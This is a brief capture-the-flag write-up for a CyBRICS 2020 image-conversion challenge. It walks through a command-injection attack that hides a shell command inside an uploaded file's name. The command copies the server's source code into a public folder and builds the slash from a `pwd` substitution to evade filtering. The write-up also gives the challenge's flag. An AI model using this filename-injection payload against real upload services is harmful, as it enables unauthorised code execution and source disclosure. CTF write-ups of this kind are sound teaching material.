## Solution
1. Generate uid (upload valid gif and check url part after /result/)
2. Build payload `'$(cp main.py uploads$(pwd | cut -c1)GENERATED_UID$(pwd | cut -c1))'.gif`
3. In new upload request set `filename="BUILT_PAYLOAD"`
4. Check url `http://gif2png-cybrics2020.ctf.su/uploads/GENERATED_UID/main.py` and find `ffLaG`
flag is `cybrics{imagesaresocoolicandrawonthem}`